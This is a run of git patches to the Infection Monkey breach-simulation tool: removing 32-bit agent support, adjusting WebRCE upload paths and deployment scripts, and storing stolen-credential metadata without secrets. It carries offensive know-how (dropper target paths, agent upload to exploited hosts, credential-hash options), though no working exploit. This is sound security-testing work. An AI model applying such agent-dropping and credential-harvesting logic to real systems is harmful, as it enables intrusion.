24 Feb 2022 18:14:53 +0100 Subject: [PATCH 0566/1110] Island: Remove dropper_target_path_win_32 from config --- monkey/monkey_island/cc/services/config.py | 1 - .../monkey_island/cc/services/config_schema/internal.py | 8 -------- 2 files changed, 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 0fc3af855..94c4e96ec 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -606,7 +606,6 @@ class ConfigService: for dropper_target in [ "dropper_target_path_linux", - "dropper_target_path_win_32", "dropper_target_path_win_64", ]: exploit_options[dropper_target] = config.get(dropper_target, "") diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index c9325ab0e..d25856b39 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -174,14 +174,6 @@ INTERNAL = { "description": "Determines where should the dropper place the monkey on a " "Linux machine", }, - "dropper_target_path_win_32": { - "title": "Dropper target path on Windows (32bit)", - "type": "string", - "default": "C:\\Windows\\temp\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a " - "Windows machine " - "(32bit)", - }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", From 47306b0d384f7ea8ad20a1e9e9ec19b4e73b3b73 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 24 Feb 2022 18:15:52 +0100 Subject: [PATCH 0567/1110] UT: Modify tests to suite removal of dropper_target_path_win_32 option --- monkey/tests/data_for_tests/monkey_configs/flat_config.json | 1 - .../data_for_tests/monkey_configs/monkey_config_standard.json | 1 - .../tests/unit_tests/infection_monkey/exploit/test_powershell.py | 1 - monkey/tests/unit_tests/monkey_island/cc/services/test_config.py | 1 - 4 files changed, 4 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index acce7f2ae..fdac570f5 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -27,7 +27,6 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_set_date": true, "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"], "exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"], diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 658e4cc68..9891fef0c 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -104,7 +104,6 @@ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_date_reference_path_linux": "/bin/sh", "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe" }, "logging": { diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 9de7f8f54..2fc45cf06 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -26,7 +26,6 @@ Config = namedtuple( "exploit_password_list", "exploit_lm_hash_list", "exploit_ntlm_hash_list", - "dropper_target_path_win_32", "dropper_target_path_win_64", ], ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 64bfd7bff..d8391717e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -173,7 +173,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): expected_exploiters_config = { "options": { "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe", "dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe", "http_ports": [80, 443, 7001, 8008, 8080, 9200], }, From 8a3a92182e6f192112cc3eee945d4876a6fcbc9d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 24 Feb 2022 19:04:57 +0100 Subject: [PATCH 0568/1110] Agent: Fix WebRCE windows target path --- monkey/infection_monkey/exploit/web_rce.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index c87ed7405..cdb0ddce9 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -34,7 +34,7 @@ class WebRCE(HostExploiter): def __init__(self, monkey_target_paths=None): """ :param monkey_target_paths: Where to upload the monkey at the target host system. - Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + Dict in format {'linux': '/tmp/monkey.sh', 'win64':... } """ super(WebRCE, self).__init__() self.monkey_target_paths = monkey_target_paths @@ -410,7 +410,7 @@ class WebRCE(HostExploiter): """ Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths). :param url_to_monkey: Hosted monkey's url. egz : - http://localserver:9999/monkey/windows-32.exe + http://localserver:9999/monkey/windows-64.exe :return: Corresponding monkey path from self.monkey_target_paths """ if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): @@ -421,9 +421,7 @@ class WebRCE(HostExploiter): try: if "linux" in url_to_monkey: return self.monkey_target_paths["linux"] - elif "windows-32" in url_to_monkey: - return self.monkey_target_paths["win32"] - elif "windows-64" in url_to_monkey: + elif "windows" in url_to_monkey: return self.monkey_target_paths["win64"] else: logger.error( @@ -433,7 +431,7 @@ class WebRCE(HostExploiter): return False except KeyError: logger.error( - 'Unknown key was found. Please use "linux", "win32" and "win64" keys to ' + 'Unknown key was found. Please use "linux" and "win64" keys to ' "initialize " "custom dict of monkey's destination paths" ) From fb1880dd24ce5e47d19bc44c5e1a26d60f53c68b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Feb 2022 12:07:21 -0500 Subject: [PATCH 0569/1110] Deploy: Remove 32-bit binaries from Linux deployment script --- deployment_scripts/config | 6 ------ deployment_scripts/deploy_linux.sh | 5 ----- 2 files changed, 11 deletions(-) diff --git a/deployment_scripts/config b/deployment_scripts/config index 9ef065ce9..2a0807ce0 100644 --- a/deployment_scripts/config +++ b/deployment_scripts/config @@ -25,15 +25,9 @@ get_latest_release() { MONKEY_LATEST_RELEASE=$(get_latest_release "guardicore/monkey") # Monkey binaries -export LINUX_32_BINARY_NAME="monkey-linux-32" -export LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-32" - export LINUX_64_BINARY_NAME="monkey-linux-64" export LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64" -export WINDOWS_32_BINARY_NAME="monkey-windows-32.exe" -export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-32.exe" - export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe" export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 1826c4ffc..545d81892 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -161,20 +161,15 @@ agents=${3:-true} if [ "$agents" = true ] ; then log_message "Downloading binaries" if exists wget; then - wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL} wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL} - wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL} wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL} else - curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-32 ${LINUX_32_BINARY_URL} curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-64 ${LINUX_64_BINARY_URL} - curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-32.exe ${WINDOWS_32_BINARY_URL} curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-64.exe ${WINDOWS_64_BINARY_URL} fi fi # Allow them to be executed -chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" # If a user haven't installed mongo manually check if we can install it with our script From c8c1aa7036ac7b262f84b66b9950fd7e104e28a6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Feb 2022 13:16:05 -0500 Subject: [PATCH 0570/1110] Deploy: Remove --single-branch from `git clone` in Linux deployment --- deployment_scripts/deploy_linux.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 545d81892..1e17e8f5a 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -93,7 +93,7 @@ log_message "Cloning files from git" branch=${2:-"develop"} log_message "Branch selected: ${branch}" if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned - git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error + git clone --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error fi # Create folders From 22ec96c4ee856a9bcf9d5255a04a72f4bdb48ec5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Feb 2022 13:22:11 -0500 Subject: [PATCH 0571/1110] Deploy: Use `npm ci` instead of install/update in Linux deployment --- deployment_scripts/deploy_linux.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 1e17e8f5a..763bb9075 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -202,8 +202,7 @@ if ! exists npm; then fi pushd "$ISLAND_PATH/cc/ui" || handle_error -npm install sass-loader node-sass webpack --save-dev -npm update +npm ci log_message "Generating front end" npm run dist From 9f6c25c2b26acc34f707cfce34952b1f6f254093 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Feb 2022 11:48:30 +0530 Subject: [PATCH 0572/1110] Agent: Update README to remove mentions of 32-bit binaries --- monkey/infection_monkey/readme.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md index 45488404f..8e4beb03e 100644 --- a/monkey/infection_monkey/readme.md +++ b/monkey/infection_monkey/readme.md @@ -26,7 +26,8 @@ The monkey is a PyInstaller compressed python archives. 1. To build the final exe: - `cd monkey\infection_monkey` - `build_windows.bat` - - output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python + + Output is placed under `dist\monkey64.exe`. ## Linux @@ -51,7 +52,7 @@ Tested on Ubuntu 16.04. - `chmod +x build_linux.sh` - `pipenv run ./build_linux.sh` - output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python + Output is placed under `dist/monkey64`. ### Troubleshooting From a3d9904f0527267f921794d41ed2d477bd66594b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Feb 2022 11:48:44 +0530 Subject: [PATCH 0573/1110] Island: Update README to remove mentions of 32-bit binaries --- monkey/monkey_island/readme.md | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index 8de0a49a9..375af7d24 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -45,8 +45,6 @@ 1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source) monkey-linux-64 - monkey binary for linux 64bit - monkey-linux-32 - monkey binary for linux 32bit - monkey-windows-32.exe - monkey binary for windows 32bit monkey-windows-64.exe - monkey binary for windows 64bit 1. Install npm @@ -95,15 +93,10 @@ monkey-linux-64 - monkey binary for linux 64bit - monkey-linux-32 - monkey binary for linux 32bit - - monkey-windows-32.exe - monkey binary for windows 32bit - monkey-windows-64.exe - monkey binary for windows 64bit Also, if you're going to run monkeys on local machine execute: - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64` - - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32` 1. Setup MongoDB (Use one of the two following options): - Download MongoDB and extract it to monkey/monkey_island/bin/mongodb: From 069afe677ab824b921992e4c3cb41cfa3556b913 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Feb 2022 12:33:43 +0530 Subject: [PATCH 0574/1110] Docs: Remove 32-bit mentions --- docs/content/development/setup-development-environment.md | 2 +- docs/content/usage/getting-started.md | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index f2e739f3a..94cf3acbe 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -16,7 +16,7 @@ The agent (which we sometimes refer to as the Infection Monkey) is a single Pyth In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment. -This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 32/64-bit Python versions. +This means setting up an environment with Linux 64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 64-bit Python versions. ## The Monkey Island diff --git a/docs/content/usage/getting-started.md b/docs/content/usage/getting-started.md index 6572e7b24..b6a90e793 100644 --- a/docs/content/usage/getting-started.md +++ b/docs/content/usage/getting-started.md @@ -7,11 +7,14 @@ pre: " " tags: ["usage"] --- + + + If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup). ## Using the Infection Monkey -After deploying the Monkey Island in your environment, navigate to `https://:5000`. +After deploying the Monkey Island in your environment, navigate to `https://:5000`. ### First-time login From afc98667c448e07646b31b6ad9be667daca5feca Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 14:50:16 +0200 Subject: [PATCH 0575/1110] Island: remove unused "creds" properties from monkey model --- monkey/monkey_island/cc/models/__init__.py | 1 - monkey/monkey_island/cc/models/creds.py | 10 ---------- monkey/monkey_island/cc/models/monkey.py | 1 - vulture_allowlist.py | 2 -- 4 files changed, 14 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/creds.py diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index cab95ae18..212a20396 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -3,7 +3,6 @@ from .command_control_channel import CommandControlChannel # Order of importing matters here, for registering the embedded and referenced documents before # using them. from .config import Config -from .creds import Creds from .monkey import Monkey from .monkey_ttl import MonkeyTtl from .pba_results import PbaResults diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py deleted file mode 100644 index d0861846d..000000000 --- a/monkey/monkey_island/cc/models/creds.py +++ /dev/null @@ -1,10 +0,0 @@ -from mongoengine import EmbeddedDocument - - -class Creds(EmbeddedDocument): - """ - TODO get an example of this data, and make it strict - """ - - meta = {"strict": False} - pass diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index af17e45a2..c7fe734b6 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -38,7 +38,6 @@ class Monkey(Document): # SCHEMA guid = StringField(required=True) config = EmbeddedDocumentField("Config") - creds = ListField(EmbeddedDocumentField("Creds")) dead = BooleanField() description = StringField() hostname = StringField() diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 67399ff55..8e5a99516 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -74,10 +74,8 @@ meta # unused variable (monkey/monkey_island/cc/models/zero_trust/finding.py:37 meta # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:34) expire_at # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:36) meta # unused variable (monkey/monkey_island/cc/models/config.py:11) -meta # unused variable (monkey/monkey_island/cc/models/creds.py:9) meta # unused variable (monkey/monkey_island/cc/models/edge.py:5) Config # unused class (monkey/monkey_island/cc/models/config.py:4) -Creds # unused class (monkey/monkey_island/cc/models/creds.py:4) _.do_CONNECT # unused method (monkey/infection_monkey/transport/http.py:151) _.do_POST # unused method (monkey/infection_monkey/transport/http.py:122) _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61) From 0ecfbff1e4c9730209ca099e60fe2ae0a4353572 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 24 Feb 2022 17:41:01 +0200 Subject: [PATCH 0576/1110] Island: don't store credential telemetries Credential telemetries are not stored on the database to prevent the need to encrypt credentials and query database directly. Instead, credentials are parsed into a document that doesn't contain secrets and is easily queryable --- monkey/monkey_island/cc/models/__init__.py | 1 + .../cc/models/stolen_credentials.py | 31 +++++++++++++++++++ .../cc/models/telemetries/telemetry_dal.py | 25 +-------------- .../monkey_island/cc/resources/telemetry.py | 10 +----- .../cc/server_utils/encryption/__init__.py | 1 - .../encryption/field_encryptors/__init__.py | 1 - .../mimikatz_results_encryptor.py | 29 ----------------- .../credentials/credentials_parser.py | 7 +++++ .../telemetry/processing/processing.py | 14 +++++++-- .../processing/credentials/conftest.py | 12 ++++++- .../credentials/test_credential_processing.py | 23 +++++++++++--- .../credentials/test_ssh_key_processing.py | 11 +------ 12 files changed, 84 insertions(+), 81 deletions(-) create mode 100644 monkey/monkey_island/cc/models/stolen_credentials.py delete mode 100644 monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 212a20396..c293ae2e7 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -7,3 +7,4 @@ from .monkey import Monkey from .monkey_ttl import MonkeyTtl from .pba_results import PbaResults from monkey_island.cc.models.report.report import Report +from .stolen_credentials import StolenCredentials diff --git a/monkey/monkey_island/cc/models/stolen_credentials.py b/monkey/monkey_island/cc/models/stolen_credentials.py new file mode 100644 index 000000000..fea6068bd --- /dev/null +++ b/monkey/monkey_island/cc/models/stolen_credentials.py @@ -0,0 +1,31 @@ +from __future__ import annotations + +from mongoengine import Document, ListField, ReferenceField + +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.processing.credentials import Credentials + + +class StolenCredentials(Document): + """ + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the + object. + * The logic section defines complex questions we can ask about a single document which + are asked multiple + times, somewhat like an API. + """ + + # SCHEMA + monkey = ReferenceField(Monkey) + identities = ListField() + secrets = ListField() + + @staticmethod + def from_credentials(credentials: Credentials) -> StolenCredentials: + stolen_creds = StolenCredentials() + + stolen_creds.secrets = [secret["credential_type"] for secret in credentials.secrets] + stolen_creds.identities = credentials.identities + stolen_creds.monkey = Monkey.get_single_monkey_by_guid(credentials.monkey_guid).id + return stolen_creds diff --git a/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py index d6425238f..a46242419 100644 --- a/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py +++ b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py @@ -5,23 +5,9 @@ from typing import List from monkey_island.cc.database import mongo from monkey_island.cc.models import CommandControlChannel from monkey_island.cc.models.telemetries.telemetry import Telemetry -from monkey_island.cc.server_utils.encryption import ( - FieldNotFoundError, - MimikatzResultsEncryptor, - SensitiveField, - decrypt_dict, - encrypt_dict, -) - -sensitive_fields = [SensitiveField("data.credentials", MimikatzResultsEncryptor)] def save_telemetry(telemetry_dict: dict): - try: - telemetry_dict = encrypt_dict(sensitive_fields, telemetry_dict) - except FieldNotFoundError: - pass # Not all telemetries require encryption - cc_channel = CommandControlChannel( src=telemetry_dict["command_control_channel"]["src"], dst=telemetry_dict["command_control_channel"]["dst"], @@ -35,14 +21,5 @@ def save_telemetry(telemetry_dict: dict): ).save() -# A lot of codebase is using queries for telemetry collection and document field encryption is -# not yet implemented in mongoengine. To avoid big time investment, queries are used for now. def get_telemetry_by_query(query: dict, output_fields=None) -> List[dict]: - telemetries = mongo.db.telemetry.find(query, output_fields) - decrypted_list = [] - for telemetry in telemetries: - try: - decrypted_list.append(decrypt_dict(sensitive_fields, telemetry)) - except FieldNotFoundError: - decrypted_list.append(telemetry) - return decrypted_list + return mongo.db.telemetry.find(query, output_fields) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 1158e82f0..3358788f3 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -6,10 +6,9 @@ import dateutil import flask_restful from flask import request -from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey import Monkey -from monkey_island.cc.models.telemetries import get_telemetry_by_query, save_telemetry +from monkey_island.cc.models.telemetries import get_telemetry_by_query from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.node import NodeService @@ -61,8 +60,6 @@ class Telemetry(flask_restful.Resource): process_telemetry(telemetry_json) - save_telemetry(telemetry_json) - return {}, 201 @staticmethod @@ -80,10 +77,5 @@ class Telemetry(flask_restful.Resource): monkey_label = telem_monkey_guid x["monkey"] = monkey_label objects.append(x) - if x["telem_category"] == TelemCategoryEnum.SYSTEM_INFO and "credentials" in x["data"]: - for user in x["data"]["credentials"]: - if -1 != user.find(","): - new_user = user.replace(",", ".") - x["data"]["credentials"][new_user] = x["data"]["credentials"].pop(user) return objects diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 16ac78cbe..4cfe67fe2 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -23,5 +23,4 @@ from .dict_encryptor import ( FieldNotFoundError, ) from .field_encryptors.i_field_encryptor import IFieldEncryptor -from .field_encryptors.mimikatz_results_encryptor import MimikatzResultsEncryptor from .field_encryptors.string_list_encryptor import StringListEncryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py index 7c938d25b..1ceedf768 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py @@ -1,3 +1,2 @@ from .i_field_encryptor import IFieldEncryptor -from .mimikatz_results_encryptor import MimikatzResultsEncryptor from .string_list_encryptor import StringListEncryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py deleted file mode 100644 index 31f597e60..000000000 --- a/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py +++ /dev/null @@ -1,29 +0,0 @@ -import logging - -from ..data_store_encryptor import get_datastore_encryptor -from . import IFieldEncryptor - -logger = logging.getLogger(__name__) - - -class MimikatzResultsEncryptor(IFieldEncryptor): - - secret_types = ["password", "ntlm_hash", "lm_hash"] - - @staticmethod - def encrypt(results: dict) -> dict: - for _, credentials in results.items(): - for secret_type in MimikatzResultsEncryptor.secret_types: - credentials[secret_type] = get_datastore_encryptor().encrypt( - credentials[secret_type] - ) - return results - - @staticmethod - def decrypt(results: dict) -> dict: - for _, credentials in results.items(): - for secret_type in MimikatzResultsEncryptor.secret_types: - credentials[secret_type] = get_datastore_encryptor().decrypt( - credentials[secret_type] - ) - return results diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index 9df47f91d..5c6d15631 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -3,6 +3,7 @@ from itertools import chain from typing import Mapping from common.common_consts.credential_component_type import CredentialComponentType +from monkey_island.cc.models import StolenCredentials from .credentials import Credentials from .identities.username_processor import process_username @@ -29,6 +30,12 @@ def parse_credentials(telemetry_dict: Mapping): ] for credential in credentials: + _store_in_db(credential) for cred_comp in chain(credential.identities, credential.secrets): credential_type = CredentialComponentType[cred_comp["credential_type"]] CREDENTIAL_COMPONENT_PROCESSORS[credential_type](cred_comp, credential) + + +def _store_in_db(credentials: Credentials): + stolen_cred_doc = StolenCredentials.from_credentials(credentials) + stolen_cred_doc.save() diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index abea5dc38..709097ee0 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -1,9 +1,11 @@ import logging from common.common_consts.telem_categories import TelemCategoryEnum +from monkey_island.cc.models.telemetries import save_telemetry from monkey_island.cc.services.telemetry.processing.aws_info import process_aws_telemetry -from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import\ - parse_credentials +from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( + parse_credentials, +) from monkey_island.cc.services.telemetry.processing.exploit import process_exploit_telemetry from monkey_island.cc.services.telemetry.processing.post_breach import process_post_breach_telemetry from monkey_island.cc.services.telemetry.processing.scan import process_scan_telemetry @@ -25,6 +27,10 @@ TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, } +# Don't save credential telemetries in telemetries collection. +# Credentials are stored in StolenCredentials documents +UNSAVED_TELEMETRIES = [TelemCategoryEnum.CREDENTIALS] + def process_telemetry(telemetry_json): try: @@ -33,6 +39,10 @@ def process_telemetry(telemetry_json): TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json) else: logger.info("Got unknown type of telemetry: %s" % telem_category) + + if telem_category not in UNSAVED_TELEMETRIES: + save_telemetry(telemetry_json) + except Exception as ex: logger.error( "Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py index d2891678e..0088995f3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py @@ -3,17 +3,27 @@ from datetime import datetime import mongoengine import pytest +from monkey_island.cc.models import Monkey from monkey_island.cc.services.config import ConfigService +fake_monkey_guid = "272405690278083" +fake_ip_address = "192.168.56.1" + @pytest.fixture -def fake_mongo(monkeypatch): +def fake_mongo(monkeypatch, uses_encryptor): mongo = mongoengine.connection.get_connection() monkeypatch.setattr("monkey_island.cc.services.config.mongo", mongo) config = ConfigService.get_default_config() ConfigService.update_config(config, should_encrypt=True) +@pytest.fixture +def insert_fake_monkey(): + monkey = Monkey(guid=fake_monkey_guid, ip_addresses=[fake_ip_address]) + monkey.save() + + CREDENTIAL_TELEM_TEMPLATE = { "monkey_guid": "272405690278083", "telem_category": "credentials", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py index 2ad17431d..5cef3e387 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py @@ -6,12 +6,14 @@ from tests.unit_tests.monkey_island.cc.services.telemetry.processing.credentials CREDENTIAL_TELEM_TEMPLATE, ) +from common.common_consts.credential_component_type import CredentialComponentType from common.config_value_paths import ( LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, PASSWORD_LIST_PATH, USER_LIST_PATH, ) +from monkey_island.cc.models import StolenCredentials from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( parse_credentials, @@ -51,21 +53,21 @@ cred_empty_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) cred_empty_telem["data"] = [{"identities": [], "secrets": []}] -@pytest.mark.usefixtures("uses_database", "fake_mongo") +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") def test_cred_username_parsing(): parse_credentials(cred_telem_usernames) config = ConfigService.get_config(should_decrypt=True) assert fake_username in dpath.util.get(config, USER_LIST_PATH) 